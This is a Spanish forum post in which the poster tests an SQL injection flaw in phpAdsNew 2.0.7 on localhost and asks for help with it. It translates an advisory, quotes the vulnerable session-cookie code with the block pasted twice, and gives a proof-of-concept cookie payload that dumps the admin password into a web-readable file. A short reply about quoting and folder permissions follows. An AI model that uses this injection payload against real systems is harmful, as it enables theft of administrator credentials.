Estoy probando en localhost con la versión (2.0.7)
http://prdownloads.sourceforge.net/phpadsnew/phpAdsNew-2.0.7.tar.gz?use_mirror=switch
La 2.0.8 también tiene vulnerabilidades; pero nadie saco la 'Proof of Concept'
Los 'Advisores': http://www.zone-h.org/content/view/13092/5/
La traducción:
Todas las funciones en /admin/lib-sessions.inc.php no revisan la variable "sessionID" procediente de la cookie, lo más interesante es phpAds_SessionDataFetch() porque esto invoca a config.php y realiza una simple consulta SELECT.
Código:
if (isset($HTTP_COOKIE_VARS['sessionID']) && $HTTP_COOKIE_VARS['sessionID'] != '')
{
$result = phpAds_dbQuery("SELECT sessiondata FROM
".$phpAds_config['tbl_session']." WHERE
sessionid='".$HTTP_COOKIE_VARS['sessionID']."'" .
" AND UNIX_TIMESTAMP(NOW())-UNIX_TIMESTAMP(lastused) < 3600"); <-- aquí el detalle
{
$result = phpAds_dbQuery("SELECT sessiondata FROM
".$phpAds_config['tbl_session']." WHERE
sessionid='".$HTTP_COOKIE_VARS['sessionID']."'" .
" AND UNIX_TIMESTAMP(NOW())-UNIX_TIMESTAMP(lastused) < 3600"); <-- aquí el detalle
Basta que /admin/config.php este incluido en /admin/index.php, para que no necesitemos estar autenticados y explotemos la vulnerabilidad.
PoC (cookie): sessionID=adsds'/**/UNION/**/SELECT admin_pw from phpads_config into outfile "/var/www/blah.txt"/*;
Si podeis explicarme esto último que esta en negrilla os agradeceré muchísimo, solo me imagino que:
Tengo que modificar la cookie, ¿me bastará con la extensión Cookie Editor de Firefox?
/var/www/blah.txt en mi caso vendría a ser: C:\program files\apache\htdocs\blah.txt??
De antemano Muchas Gracias!!!!










Autor


En línea



. Me asegure deshabilitar el "solo escritura" de la carpeta. 
hay comillas donde no jeje..


